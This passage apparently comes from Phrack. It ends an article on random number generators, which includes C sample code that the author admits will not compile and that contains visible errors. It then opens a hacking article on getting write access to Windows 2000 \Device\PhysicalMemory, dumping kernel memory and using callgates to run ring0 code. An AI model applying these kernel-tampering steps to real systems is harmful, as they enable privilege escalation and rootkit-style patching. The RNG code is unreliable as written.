External functions from the kernel trigger the addition of entropy into the pool. Events that trigger this are key presses, mouse movement, and IRQs. Uppon each trigger, 32bits of a high‑frequency timer are copied, and another 32bits are derrived depending on the type of trigger (either the mouse coordinates, keybaord scancode, or IRQ number).

2.3.2) /dev/random Entropy Estimation

Entropy estimation is calculated with the help of three deltas. Delta1 is the time elapsed since the last trigger of its type occured. Delta2 is the difference between Delta1 and the previous Delta1. Delta3 is the difference between Delta2 and the previous Delta2. The smallest of the three deltas calculated is chosen as Delta. The least significant bit of Delta is ignored and the next 12bits are used to increment the entropy counter.

2.3.3) /dev/random Entropy Pool

This RNG uses an entropy pool of 4096bits. Prior to input, a marker denoting the current position along the pool is decremented by 2 32bit words. If the position is 0, the position is wrapped around backwards to the second last 32bit word. Entropy is added in two 32bit words: x & y. A variable, j determines how many bits to the left the entropy should be rotated. Before entropy is added, j is incremented by 14 (7 if the pool is in position 0). Entropy is rotated by j. Depending on the current position along the pool, y is XORed with 5 other fixed portions of the pool (the following positions are wrapped around from the current position: 103,76, 51,25,1 (for a 4096bit pool) and x is XORed with each next word. x is shifted to the right 3bits, XORed by a constant within a 1x7 table (0, 0x3b6e20c8, 0x76dc4190, 0x4db26158, 0xedb88320, 0xd6d6a3e8, 0x9b64c2b0, 0xa00ae278) the index of which is chosen by x AND 7 (bitwise, 3bits). x XOR y is then appended to the pool skipping one word. y is shifted to the right 3bits, XORed with the constant table the same way x was and then copied into the word that was skipped in the pool. The pool remains at this position (previous position ‑ 2, possibly wrapped around the end).

2.3.4) /dev/random Output Function

When output is requested from the RNG, the timer and the number of bytes requested is added to the pool as entropy. The pool is then hashed with SHA‑1 and the first 2 words of the hash are fed as entropy into the pool; this is repeated 8 times, but each time the next 2 words of the hash are fed into the pool. The first half of the final hash is then XORed to its second half to produce the output. The output is either the requested size or 20 bytes (half the hash size); the smallest of these is chosen.

2.3.5) Linux' /dev/random Analysis

[1] Monitoring and predicting of some IRQs is possible in a networked environment.

[2] There is allot of redundancy in the lower 16bits of the entropy added. For example, when a keypress occurs a 32bit variable holds 16bits from a high‑resolution timer, and the lower 16 bits are 0‑255 for the keypress (256+ are used to designate interupts). This leaves 8bits of redundancy for every keypress.

[3] The time elapsed since the last block of entropy was added is usually irrelevent to the quality of the entropy, unless that lapse is very short. This doesn't take into account sequencial entropy entries like continuous disk access while moving a file.

[4] When output occurs, the mixing mechanism re‑enters allot of hashed entropy which may or may not be of good quality. These re‑entered words are added to the entropy count but should not. They are bits of entropy that have already been counted. After output, 512bits of entropy are redundantly entered. If this estimate is accurate, then after 8 calls to output there are 4096bits (the entire pool) of entropy of undifinable quality. Under these circumstances, if no entropy is input from user‑interacting during the calls, the RNG becomes a PRNG.

2.4) Yarrow's Design

information sources: Yarrow source code and White Papers *3,*4

2.4.0) Yarrow Overview

Yarrow is designed by Bruce Schneier, auther of Applied Cryptography and designer of block ciphers Blowfish and AES finalist Twofish. Yarrow is Schneier's interpretation of the proper design of an RNG and is accompanied by a detailed paper descibing its inner‑workings and analysis (see the second information source). It is the product of lengthy research and sets standard in properties expected to be found in a secure RNG. It is discussed here for comparisson between commonly trusted RNGs and one designed by a seasoned proffessional.

2.4.1) Yarrow Entropy Gathering

System hooks wait for keyboard or mouse events. If a key has been pressed, the time elapsed since the last key‑press is appended to an array. The same is done when a mouse button has been pressed. If the mouse has moved, the x and y coordinates are appended to a mouse movement array. Once an array is full is is passed to the entropy estimation function.

2.4.2) Yarrow Entropy Estimation

The entropy estimation function is passed an estimated number of bits of entropy chosen by the programmer's bias towards it's source. One could decide that that mouse movement only represents 4 bits of entropy per movement, while keyboard latency is worth 8bits per key‑press. Another measurement uses a small compression algorithm and measures the compressed size. The third and last measurement is half the size of the entropy sample. The smallest of these three measurements increments the entropy estimate.

2.4.3) Yarrow Entropy Pool

When entropy is input, it is fed into a fast pool (SHA‑1 context) and an entropy estimate is updated for that pool. Once the pool has accumulated 100bits of entropy, the hash output of this pool is fed into the slow pool and its entropy estimate is updated. When the slow pool has accumulated 160bits of entropy it's hash output becomes the current key.

2.4.4) Yarrow Output Function

When output is required, the current key (derived from the slow pool) encrypts a counter (its number of bits is chosen by the programmer) and outputs the ciphertext; the counter is then incremented. After 10 outputs, the RNG reseeds the key by replacing it with another (forced) output. The key will next be reseeded either when the slow pool has accumulated 160bits or 10 outputs have occured.

2.4.5) Yarrow Analysis

[1] Mouse movement on its own is very redundant, there is a very limited range of motion between the last postion and the current position after the OS has sent the message that the mouse has moved. Most of the bits representing the mouse's position are unlikely to change and throw‑off the entropy estimates in this RNG.

[2] Even though the pool's internal state is 320+n+kbits long, there is a maximum of 160bits of entropy during any state. "Yarrow‑160, our current construction, is limited to at most 160 bits of security by the size of its entropy accumulation pools." *4

‑‑‑‑| 3) NoiseSpunge Source Code

The Following source code is simply a brief example. Do whatever you want with it; even that thing you do with your tongue and the rubber ... never mind. It _WILL_NOT_COMPILE_ because about 1,200 lines have been omitted, consisting of Haval, Rijndael and the PRNG). Haval and Rijndael source code is readily available. Any PRNG will do, but make sure it works with 32bit inputs and outputs and has a period of at least 2^32 (4294967296). I've devided it into 3 chunks: entropy gathering, entropy pool, output functions.

[ENTROPY GATHERING]

This loop must run on a thread independent of the application's main thread. For OS dependancies, I've created dummy functions that should be replaced:

int64 CounterFreq; //high‑res counter's frequency/second

int64 QueryCounter; //high‑res counter's current value

Delay(int ms); //1 milisecond precision delay

int GetMouseX; //current mouse x coordinate

int GetMouseY; // " y coordinate

#define MOUSE_INTERVAL 10

{

Prng_CTX PCtx;

int x,y;

unsigned long Block;

unsigned long BitsGathered;

int65 Interval,Frequency,ThisTime,LastTime;

unsigned long BitsGathered=0;

bool Idled=false;

Frequency=CounterFreq;

bool Terminated=false; //Set value to true to end the loop

do

{

if (Idled==false)

{

Delay(MOUSE_INTERVAL);

Idled=true;

}

ThisTime=QueryCounter;

if ((ThisTime‑LastTime)>Interval)

{

if ((x!=GetMouseX)&&(y!=GetMouseY)

{

x=mouse.cursorpos.x;

y=mouse.cursorpos.y; Block|=((x^y^ThisTime)& 15)<<BitsGathered; BitsGathered+=4;

if (BitsGathered==32)

{

PrngInit(&PCtx,Block); AddEntropy(Block); //this function is defined lower

Block=0;

BitsGathered=0;

} Interval=((((Prng(@PCtx)%MOUSE_INTERVAL)>>2)+MOUSE_INTERVAL) * Frequency)/1000;

}

LastTime=QueryCounter;

Idled=false;

}

} while (Terminated==false);

}

[ENTROPY POOL]

#define SEED_SIZE 8

#define PRIMARY_RESEED 8

#define SECONDARY_RESEED 8

//parameters

#define MAX_KEY_RESERVE 8

#define KEY_BUILD_ROUNDS 16

typedef unsigned long Key256[SEED_SIZE];

Key256 Seed;

Key256 EntropyBuffer;

Haval_CTX PrimaryPool;

Haval_CTX SecondaryPool;

unsigned char PrimaryReseedCount;

unsigned char EntropyCount;

unsigned char KeyReserve;

//FUNCTIONS

void NoiseSpungeInit

{

HavalInit(&PrimaryPool);

HavalInit(&SecondaryPool);

for (int i=0;i<8;i++) Seed[i]=0;

EntropyCount=0;

PrimaryReseedCount=0;

KeyReserve=0;

}

void PermuteSeed

{

Key256 TempBuffer[2];

Prng_CTX PCtx;

Haval_CTX HCtx;

for (int i=0;i<SEED_SIZE;i++) //expand

{

PrngInit(&PCtx,Seed[i]);

TempBuffer[0][i]=Prng(&PCtx);

TempBuffer[1][i]=Prng(&PCtx);

}

HavalInit(&HCtx);

HavalUpdate(&HCtx,&TempBuffer,64); //compress

HavalOutput(&HCtx,&Seed);

}

void PrimaryReseed

{

Key256 TempSeed;

HavalUpdate(&PrimaryPool,&EntropyBuffer,32);

if (PrimaryReseedCount<SECONDARY_RESEED)

{

HavalOutput(&PrimaryPool,&TempSeed);

for (int i=0;i<SEED_SIZE;i++) Seed[i]^=TempSeed[i]; PrimaryReseedCount++;

} else SecondaryReseed;

for (int i=0;i<SEED_SIZE;i++) EntropyBuffer[i]=0;

if (KeyReserve<MAX_KEY_RESERVE) KeyReserve++; EntropyCount=0;

}

void SecondaryReseed

{

HavalOutput(&PrimaryPool,&Seed);

HavalUpdate(&SecondaryPool,&Seed,32);

HavalOutput(&SecondaryPool,&Seed);

PermuteSeed;

HavalInit(&PrimaryPool);

PrimaryReseedCount=0;

}

void AddEntropy(unsigned long Block)

{

EntropyBuffer[EntropyCount++]=Block;

if (EntropyCount==PRIMARY_RESEED) PrimaryReseed;

}

[OUTPUT FUNCTIONS]

int SafeGetKey(Key256 *Key)

{

Key256 TempSeed;

Key256 TempBuffer[2];

Rijndael_CTX RCtx;

Prng_CTX PCtx;

Haval_CTX HCtx;

if (KeyReserve==0) Return 0;

for (int i=0;i<SEED_SIZE;i++) TempSeed[i]=Seed[i]; PermuteSeed;

RijndaelInit(&RCtx,&Seed);

for (int i=0;i<KEY_BUILD_ROUNDS;i++)

{

RijndaelEncrypt(&RCtx,&TempSeed[0]); //encrypt

RijndaelEncrypt(&RCtx,&TempSeed[4]);

for (int j=0;j<SEED_SIZE;j++) //expand

{

PrngInit(&pctx,TempSeed[j]); TempBuffer[0,j]=Prng(&PCtx); TempBuffer[1,j]=Prng(&PCtx);

}

HavalInit(&HCtx);

HavalUpdate(&HCtx,&TempBuffer,64);

HavalOutput(&HCtx,&TempSeed);

}

for (int i=0;i<SEED_SIZE;i++) Key[i]=TempSeed[i];

if (KeyReserve>0) KeyReserve‑‑;

Return 1;

}

void ForcedGetKey(Key256 *Key)

{

Key256 TempSeed;

Key256 TempBuffer[2];

Rijndael_CTX RCtx;

Prng_CTX PCtx;

Haval_CTX HCtx;

for (int i=0;i<SEED_SIZE;i++) TempSeed[i]=Seed[i]; PermuteSeed;

RijndaelInit(&RCtx,&Seed);

for (int i=0;i<KEY_BUILD_ROUNDS;i++)

{

RijndaelEncrypt(&RCtx,&TempSeed[0]); //encrypt

RijndaelEncrypt(&RCtx,&TempSeed[4]);

for (int j=0;j<SEED_SIZE;j++) //expand

{

PrngInit(&pctx,TempSeed[j]); TempBuffer[0,j]=Prng(&PCtx); TempBuffer[1,j]=Prng(&PCtx);

}

HavalInit(&HCtx);

HavalUpdate(&HCtx,&TempBuffer,64);

HavalOutput(&HCtx,&TempSeed);

}

for (int i=0;i<SEED_SIZE;i++) Key[i]=TempSeed[i];

if (KeyReserve>0) KeyReserve‑‑;

}

‑‑‑‑| 4) References

*1 Intel Random Number Generator White Paper http://developer.intel.com/design/security/rng/CRIwp.htm

*2 /dev/random source code

http://www.openpgp.net/random/

*3 Yarrow source code http://www.counterpane.com/Yarrow0.8.71.zip

*4 Yarrow‑160: Notes on the Design and Analysis of the Yarrow Cryptographic Pseudorandom Number Generator http://www.counterpane.com/yarrow‑notes.html

Playing with Windows /dev/(k)mem

==Phrack Inc.==

Volume 0x0b, Issue 0x3b, Phile #0x10 of 0x12

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Playing with Windows /dev/(k)mem ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ crazylord <crazylord@minithins.net> ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

1 ‑ Introduction

2 ‑ Introduction to Windows Objects

2.1 What are they ?

2.2 Their structure

2.3 Objects manipulation

3 ‑ Introduction to \Device\PhysicalMemory

3.1 The object

3.2 Need writing access ?

4 ‑ Having fun with \Device\PhysicalMemory

4.1 Reading/Writing to memory

4.3 What's a Callgate ?

4.4 Running ring0 code without the use of Driver

4.2 Deeper into Process listing

4.5 Bonus Track

5 ‑ Sample code

5.1 kmem.h

5.2 chmod_mem.c

5.3 winkdump.c

5.2 winkps.c

5.4 fun_with_ipd.c

6 ‑ Conclusion

7 ‑ References

‑‑[ 1 ‑ Introduction

This papers covers an approch to Windows /dev/kmem linux like object. My research has been done on a Windows 2000 professional version that means that most of the code supplied with the article should work with all Windows 2000 version and is supposed to work with Windows XP with little code modification.

Windows 9x/Me are clearly not supported as they are not based on the same kernel architecture.

‑‑[ 2 ‑ Introduction to Windows Objects

Windows 2000 implements an object models to provide a way of easy manipulating the most basic elements of the kernel. We will briefly see in this chapter what are these objects and how we can manipulate them.

‑‑‑‑[ 2.1 What are they ?

According to Microsoft, the object manager was designed to meet these goals * use named object for easy recognition

* support POSIX subsystem

* provide a easy way for manipulating system resources

* provide a charge mechanism to limit resource used by a process * be C2 security compliant :) (C2: Controlled Access Protection)

There are 27 differents objects types:

* Adapter * File * Semaphore

* Callback * IoCompletion * SymbolicLink

* Controler * Job * Thread

* Desktop * Key * Timer

* Device * Mutant * Token

* Directory * Port * Type

* Driver * Process * WaitablePort

* Event * Profile * WindowStation

* EventPair * Section * WmiGuid

Most of these names are explicit enough to understand what's they are about. I will just explain some obscure names:

* an EventPair is just a couple of 2 Event objects.

* a Mutant also called Mutex is a synchronization mechanism for resource access.

* a Port is used by the LPC (Local Procedure Call) for Inter‑Processus Communication.

* a Section (file mapping) is a region of shared memory. * a Semaphore is a counter that limit access to a resource. * a Token (Access Token) is the security profile of an object. * a WindowStation is a container object for desktop objects.

Objects are organised into a directory structure which looks like this:

‑ \

‑ ArcName (symbolic links to harddisk partitions) ‑ NLS (sections ...)

‑ Driver (installed drivers)

‑ WmiGuid

‑ Device (/dev linux like)

‑ DmControl

‑ RawDmVolumes

‑ HarddiskDmVolumes

‑ PhysicalDmVolumes

‑ Windows

‑ WindowStations

‑ RPC Control

‑ BaseNamedObjects

‑ Restricted

‑ ?? (current user directory)

‑ FileSystem (information about installable files system) ‑ ObjectTypes (contains all avaible object types) ‑ Security

‑ Callback

‑ KnownDlls (Contains sections of most used DLL)

The "??" directory is the directory for the current user and "Device" could be assimiled as the "/dev" directory on Linux. You can explore these structures using WinObj downloadable on Sysinternals web sites (see [1]).

‑‑‑‑[ 2.2 Their structure

Each object is composed of 2 parts: the object header and the object body. Sven B. Schreiber defined most of the non‑documented header related structures in his book "Windows 2000 Undocumented Secrets". Let's see the header structure.

‑‑‑

from w2k_def.h:

typedef struct _OBJECT_HEADER {

/*000*/ DWORD PointerCount; // number of references

/*004*/ DWORD HandleCount; // number of open handles

/*008*/ POBJECT_TYPE ObjectType; // pointer to object type struct

/*00C*/ BYTE NameOffset; // OBJECT_NAME offset

/*00D*/ BYTE HandleDBOffset; // OBJECT_HANDLE_DB offset

/*00E*/ BYTE QuotaChargesOffset; // OBJECT_QUOTA_CHARGES offset

/*00F*/ BYTE ObjectFlags; // OB_FLAG_*

/*010*/ union

{ // OB_FLAG_CREATE_INFO ? ObjectCreateInfo : QuotaBlock

/*010*/ PQUOTA_BLOCK QuotaBlock;

/*010*/ POBJECT_CREATE_INFO ObjectCreateInfo;

};

/*014*/ PSECURITY_DESCRIPTOR SecurityDescriptor;

/*018*/ } OBJECT_HEADER, *POBJECT_HEADER;

‑‑‑

Each offset in the header are negative offset so if you want to find the OBJECT_NAME structure from the header structure, you calculate it by doing: address = object_header_address ‑ name_offset

OBJECT_NAME structure allows the creator to make the object visible to other processes by giving it a name.

OBJECT_HANDLE_DB structure allows the kernel to track who is currently using this object.

OBJECT_QUOTA_CHARGES structure defines the resource charges levied against a process when accessing this object.

The OBJECT_TYPE structure stocks global informations about the object type like default security access, size of the object, default charge levied to process using an object of this type, ...

A security descriptor is bound to the object so the kernel can restrict access to the object.

Each object type have internal routines quite similar to C++ object constructors and destructors:

* dump method ‑ maybe for debugging purpose (always NULL) * open method ‑ called when an object handle is opened * close method ‑ called when an object handle is closed * delete method ‑ called when an object is deleted

* parse method ‑ called when searching an object in a list of object

* security method ‑ called when reading/writing a protection for the current object

* query name method ‑ called when a thread request the name of the object

* "ok to close" ‑ called when a thread is closing a handle

The object body structure totally depends on the object type.

A very few object body structure are documented in the DDK. If you are interested in these structures you may google :) or take a look at chapeaux‑noirs home page in the kernel_reversing section (see [4]).

‑‑‑‑ [ 2.3 Object manipulation

On the user‑mode point of view, objects manipulation is done through the standart Windows API. For example, in order to access a file object you can use fopen()/open() which will call CreateFile(). At this point, we switch to kernel‑mode (NtCreateFile()) which call IoCreateFile() in ntoskrnl.exe. As you can see, we still don't know we are manipulating an "object". By disassembling IoCreateFile(), you will see some function like ObOpenObjectByName, ObfDereferenceObject, ...

(By the way you will only see such functions if you have win2k symbols downloadable on Microsoft DDK web site (see [2]) and disassemblingbwith a disassembler supporting Windows Symbols files like IDA/kd/Softicevbecause these functions are not exported.)

Each function's name begining with "Ob" is related to the Object Manager. So basically, a standart developper don't have to deal with object but we want to.

All the object manager related function for user‑mode are exported by ntdll.dll. Here are some examples:

NtCreateDirectoryObject, NtCreateSymbolicLinkObject, NtDuplicateObject, NtMakeTemporaryObject, NtOpenDirectoryObject, ...

Some of these functions are documented in the MSDN some (most ?) are not.

If you really want to understand the way object works you should better take a look at the exported function of ntoskrnl.exe beginning with "Ob". 21 functions exported and 6 documented =]

If you want the prototypes of the 15 others, go on the ntifs.h home page (see [3]) or to chapeaux‑noirs web site (see [4]).

‑‑[ 3 ‑ Introduction to \Device\PhysicalMemory

As far as i know, \Device\PhysicalMemory object was discovered by Mark Russinovich from Sysinternals (see [1]). He coded the first code using it : Physmem avaible on his site. Enough greeting :), now we will try to understand what is this object used for and what we can do with it.

‑‑‑‑[ 3.1 ‑ the object

In order to look at the object information, we are going to need a tool like the Microsoft Kernel Debugger avaible in the Microsoft DDK (see [2]). Ok let's start working ...

Microsoft(R) Windows 2000 Kernel Debugger

Version 5.00.2184.1

Copyright (C) Microsoft Corp. 1981‑1999

Symbol search path is: c:\winnt\symbols

Loading Dump File [livekd.dmp]

Full Kernel Dump File

Kernel Version 2195 UP Free

Kernel base = 0x80400000 PsLoadedModuleList = 0x8046a4c0

Loaded kdextx86 extension DLL

Loaded userkdx extension DLL

Loaded dbghelp extension DLL

f1919231 eb30 jmp f1919263

kd> !object \Device\PhysicalMemory

!object \Device\PhysicalMemory

Object: e1001240 Type: (fd038880) Section

ObjectHeader: e1001228

HandleCount: 0 PointerCount: 3

Directory Object: fd038970 Name: PhysicalMemory

The basic object parser from kd (kernel debugger) tells us some information about it. No need to explain all of these field means, most of them are explicit enough if you have readen the article from the beginning if not "jmp dword Introduction_to_Windows_Objects".

Ok the interesting thing is that it's a Section type object so that clearly mean that we are going to deal with some memory related toy.

Now let's dump the object's header structure.

kd> dd e1001228 L 6

dd e1001228 L 6

e1001228 00000003 00000000 fd038880 12200010

e1001238 00000001 e1008bf8

details:

‑‑> 00000003 : PointerCount = 3

‑‑> 00000000 : HandleCount = 0

‑‑> fd038880 : pointer to object type = 0xfd038880

‑‑> 12200010 ‑‑> 10 : NameOffset

‑‑> 00 : HandleDBOffset

‑‑> 20 : QuotaChargeOffset

‑‑> 12 : ObjectFlags = OB_FLAG_PERMANENT & OB_FLAG_KERNEL_MODE ‑‑> 00000001 : QuotaBlock

‑‑> e1008bf8 : SecurityDescriptor

Ok the NameOffset exists, well no surprise, this object has a name .. but the HandleDBOffset don't. That means that the object doesnt track handle assigned to it. The QuotaChargeOffset isn't really interesting and the ObjectFlags tell us that this object is permanent and has been created by the kernel.

For now nothing very interesting ...

We dump the object's name structure just to be sure we are not going the wrong way :). (Remember that offset are negative).

kd> dd e1001228‑10 L3

dd e1001228‑10 L3

e1001218 fd038970 001c001c e1008ae8

‑‑> fd038970 : pointer to object Directory

‑‑> 001c001c ‑‑> 001c : UNICODE_STRING.Length

‑‑> 001c : UNICODE_STRING.MaximumLength

‑‑> e1008ae8 : UNICODE_STRING.Buffer (pointer to wide char string)

kd> du e1008ae8

du e1008ae8

e1008ae8 "PhysicalMemory"

Ok now, let's look at the interesting part, the security descriptor:

kd> !sd e1008bf8

!sd e1008bf8

‑>Revision: 0x1

‑>Sbz1 : 0x0

‑>Control : 0x8004

SE_DACL_PRESENT

SE_SELF_RELATIVE

‑>Owner : S‑1‑5‑32‑544

‑>Group : S‑1‑5‑18

‑>Dacl :

‑>Dacl : ‑>AclRevision: 0x2

‑>Dacl : ‑>Sbz1 : 0x0

‑>Dacl : ‑>AclSize : 0x44

‑>Dacl : ‑>AceCount : 0x2

‑>Dacl : ‑>Sbz2 : 0x0

‑>Dacl : ‑>Ace[0]: ‑>AceType: ACCESS_ALLOWED_ACE_TYPE

‑>Dacl : ‑>Ace[0]: ‑>AceFlags: 0x0

‑>Dacl : ‑>Ace[0]: ‑>AceSize: 0x14

‑>Dacl : ‑>Ace[0]: ‑>Mask : 0x000f001f

‑>Dacl : ‑>Ace[0]: ‑>SID: S‑1‑5‑18

‑>Dacl : ‑>Ace[1]: ‑>AceType: ACCESS_ALLOWED_ACE_TYPE

‑>Dacl : ‑>Ace[1]: ‑>AceFlags: 0x0

‑>Dacl : ‑>Ace[1]: ‑>AceSize: 0x18

‑>Dacl : ‑>Ace[1]: ‑>Mask : 0x0002000d

‑>Dacl : ‑>Ace[1]: ‑>SID: S‑1‑5‑32‑544

‑>Sacl : is NULL

In other words that means that the \Device\PhysicalMemory object has this following rights:

user SYSTEM: Delete, Change Permissions, Change Owner, Query Data, Query State, Modify State

user Administrator: Query Data, Query State

So basically, user Administrator as no right to Write here but user SYSTEM do, so that mean that Administrator does too.

You have to notice that in fact THIS IS NOT LIKE /dev/kmem !! /dev/kmem maps virtual memory on Linux, \Device\PhysicalMemory maps physical memory, the right title for this article should be "Playing with Windows /dev/mem" as /dev/mem maps physical memory but /dev/kmem sounds better and much more wellknown :).

As far as i know the Section object body structure hasn't been yet reversed as i'm writing the article so we can't analyze it's body.

‑‑‑‑[ 3.2 need writing access ?

Ok .. we are user administrator and we want to play with our favourite Object, what can we do ? As most Windows administrators should know it is possible to run any process as user SYSTEM using the schedule service. If you want to be sure that you can, just start the schedule with "net start schedule" and then try add a task that launch regedit.exe c:\>at <when> /interactive regedit.exe

After that try to look at the SAM registry key, if you can, you are user SYSTEM otherwise you are still administrator since only user SYSTEM has reading rights.

Ok that's fine if we are user Administrator but what's up if we want to allow somebody/everyone to write to \Device\PhysicalMemory

(for learning purpose off course).

We just have to add another ACL (access‑control list) to this object. To do this you have to follow these steps:

1) Open a handle to \Device\PhysicalMemory (NtOpenSection) 2) Retrieve the security descriptor of it (GetSecurityInfo) 3) Add Read/Write authorization to the current ACL (SetEntriesInAcl) 4) Update the security descriptor (SetSecurityInfo)

5) Close the handle previously opened

see chmod_mem.c sample code.

After having run chmod_mem.exe we dump another time the security descriptor of \Device\PhysicalMemory.

kd> !object \Device\PhysicalMemory

!object \Device\PhysicalMemory

Object: e1001240 Type: (fd038880) Section

ObjectHeader: e1001228

HandleCount: 0 PointerCount: 3

Directory Object: fd038970 Name: PhysicalMemory

kd> dd e1001228+0x14 L1

dd e1001228+0x14 L1

e100123c e226e018

kd> !sd e226e018

!sd e226e018

‑>Revision: 0x1

‑>Sbz1 : 0x0

‑>Control : 0x8004

SE_DACL_PRESENT

SE_SELF_RELATIVE

‑>Owner : S‑1‑5‑32‑544

‑>Group : S‑1‑5‑18

‑>Dacl :

‑>Dacl : ‑>AclRevision: 0x2

‑>Dacl : ‑>Sbz1 : 0x0

‑>Dacl : ‑>AclSize : 0x68

‑>Dacl : ‑>AceCount : 0x3

‑>Dacl : ‑>Sbz2 : 0x0

‑>Dacl : ‑>Ace[0]: ‑>AceType: ACCESS_ALLOWED_ACE_TYPE

‑>Dacl : ‑>Ace[0]: ‑>AceFlags: 0x0

‑>Dacl : ‑>Ace[0]: ‑>AceSize: 0x24

‑>Dacl : ‑>Ace[0]: ‑>Mask : 0x00000002

‑>Dacl : ‑>Ace[0]: ‑>SID: S‑1‑5‑21‑1935655697‑436374069‑1060284298‑500

‑>Dacl : ‑>Ace[1]: ‑>AceType: ACCESS_ALLOWED_ACE_TYPE

‑>Dacl : ‑>Ace[1]: ‑>AceFlags: 0x0

‑>Dacl : ‑>Ace[1]: ‑>AceSize: 0x14

‑>Dacl : ‑>Ace[1]: ‑>Mask : 0x000f001f

‑>Dacl : ‑>Ace[1]: ‑>SID: S‑1‑5‑18

‑>Dacl : ‑>Ace[2]: ‑>AceType: ACCESS_ALLOWED_ACE_TYPE

‑>Dacl : ‑>Ace[2]: ‑>AceFlags: 0x0

‑>Dacl : ‑>Ace[2]: ‑>AceSize: 0x18

‑>Dacl : ‑>Ace[2]: ‑>Mask : 0x0002000d

‑>Dacl : ‑>Ace[2]: ‑>SID: S‑1‑5‑32‑544

‑>Sacl : is NULL

Our new Ace (access‑control entry) is Ace[0] with a 0x00000002 (SECTION_MAP_WRITE) right.

For more information about Security win32 API see MSDN ([9]).

‑‑[ 4 ‑ Having fun with \Device\PhysicalMemory

Why playing with \Device\PhysicalMemory ? reading, writing, patching memory i would say. That should be enough :)

‑‑‑‑[ 4.1 Reading/Writing to memory

Ok let's start playing...

In order to read/write to \Device\PhysicalMemory, you have do this way:

1) Open a Handle to the object (NtOpenSection)

2) Translate the virtual address into a physical address

3) Map the section to a memory space (NtMapViewOfSection)

4) Read/Write data where the memory has been mapped

5) Unmap the section (NtUnmapViewOfSection)

6) Close the object's Handle (NtClose)

Our main problem for now is how to translate the virtual address to a physical address. We know that in kernel‑mode (ring0), there is a function called MmGetPhysicalAddress exported by ntoskrnl.exe which do that. But we are in ring3 so we have to "emulate" such function.

‑‑‑

from ntddk.h

PHYSICAL_ADDRESS MmGetPhysicalAddress(void *BaseAddress);

‑‑‑

PHYSICAL_ADDRESS is a quad‑word (64 bits). At the beginning i wanted to join with the article the analysis of the assembly code but it's too long. And as address translation is sort of generic (cpu relative) i only go fast on this subject.

The low part of the quad‑word is passed in eax and the high part in edx. For virtual to physical address translation we have 2 cases:

* case 0x80000000 <= BaseAddress < 0xA0000000:

the only thing we need to do is to apply a 0x1FFFF000 mask to the virtual address.

* case BaseAddress < 0x80000000 && BaseAddress >= 0xA0000000

This case is a problem for us as we have no way to translate addresses in this range because we need to read cr3 register or to run non ring3 callable assembly instruction. For more information about Paging on Intel arch take a look at Intel Software Developer's Manual Volume 3 (see [5]). EliCZ told me that by his experience we can guess a physical address for this range by masking the byte offset and keeping a part of the page directory index. mask: 0xFFFF000.

We can know produce a light version of MmGetPhysicalAddress()

PHYSICAL_MEMORY MyGetPhysicalAddress(void *BaseAddress) {

if (BaseAddress < 0x80000000 || BaseAddress >= 0xA0000000) { return(BaseAddress & 0xFFFF000);

}

return(BaseAddress & 0x1FFFF000);

}

The problem with the addresses outside the [0x80000000, 0xA0000000] is that they can't be guessed with a very good sucess rate.

That's why if you want good results you would rather call the real MmGetPhysicalAddress(). We will see how to do that in few chapter.

See winkdump.c for sample memory dumper.

After some tests using winkdump i realised that in fact there is another problem in our *good* range :>. When translating virtual address above 0x877ef000 the physical address is getting above 0x00000000077e0000. And on my system this is not *possible*:

kd> dd MmHighestPhysicalPage l1

dd MmHighestPhysicalPage l1

8046a04c 000077ef

We can see that the last physical page is locate at 0x0000000077ef0000. So in fact that means that we can only dump a small section of the memory. But anyway the goal of this chapter is much more an explaination about how to start using \Device\PhysicalMemory than to create a *good* memory dumper. As the dumpable range is where ntoskrnl.exe and HAL.dll (Hardware Abstraction Layer) are mapped you can still do some stuff like dumping the syscall table:

kd> ? KeServiceDescriptorTable

? KeServiceDescriptorTable

Evaluate expression: ‑2142852224 = 8046ab80

0x8046ab80 is the address of the System Service Table structure which looks like:

typedef struct _SST {

PDWORD ServiceTable; // array of entry points

PDWORD CounterTable; // array of usage counters

DWORD ServiceLimit; // number of table entries

PBYTE ArgumentTable; // array of byte counts

} SST, *PSST;

C:\coding\phrack\winkdump\Release>winkdump.exe 0x8046ab80 16

*** win2k memory dumper using \Device\PhysicalMemory ***

Virtual Address : 0x8046ab80

Allocation granularity: 65536 bytes

Offset : 0xab80

Physical Address : 0x0000000000460000

Mapped size : 45056 bytes

View size : 16 bytes

d8 04 47 80 00 00 00 00 f8 00 00 00 bc 08 47 80 | ..G...........G.

Array of pointers to syscalls: 0x804704d8 (symbol KiServiceTable) Counter table : NULL

ServiceLimit : 248 (0xf8) syscalls

Argument table : 0x804708bc (symbol KiArgumentTable)

We are not going to dump the 248 syscalls addresses but just take a look at some:

C:\coding\phrack\winkdump\Release>winkdump.exe 0x804704d8 12

*** win2k memory dumper using \Device\PhysicalMemory ***

Virtual Address : 0x804704d8

Allocation granularity: 65536 bytes

Offset : 0x4d8

Physical Address : 0x0000000000470000

Mapped size : 4096 bytes

View size : 12 bytes

bf b3 4a 80 6b e8 4a 80 f3 de 4b 80 | ..J.k.J...K.

* 0x804ab3bf (NtAcceptConnectPort)

* 0x804ae86b (NtAccessCheck)

* 0x804bdef3 (NtAccessCheckAndAuditAlarm)

In the next section we will see what are callgates and how we can use them with \Device\PhysicalMemory to fix problems like our address translation thing.

‑‑‑‑[ 4.2 What's a Callgate

Callgate are mechanisms that enable a program to execute functions in higher privilege level than it is. Like a ring3 program could execute ring0 code.

In order to create a Callgate yo must specify:

1) which ring level you want the code to be executed

2) the address of the function that will be executed when jumping to ring0

3) the number of arguments passed to the function

When the callgate is accessed, the processor first performs a privilege check, saves the current SS, ESP, CS and EIP registers, then it loads the segment selector and stack pointer for the new stack (ring0 stack) from the TSS into the SS and ESP registers.

At this point it can switch to the new ring0 stack.

SS and ESP registers are pushed onto the stack, the arguments are copied. CS and EIP (saved) registers are now pushed onto the stack for the calling procedure to the new stack. The new segment selector is loaded for the new code segment and instruction pointer from the callgate is loaded into CS and EIP registers. Finnaly :) it jumps to the function's address specified when creating the callgate.

The function executed in ring0 MUST clean its stack once it has finished executing, that's why we are going to use __declspec(naked) (MS VC++ 6) when defining the function in our code (similar to __attribute__(stdcall) for GCC).

‑‑‑

from MSDN:

__declspec( naked ) declarator

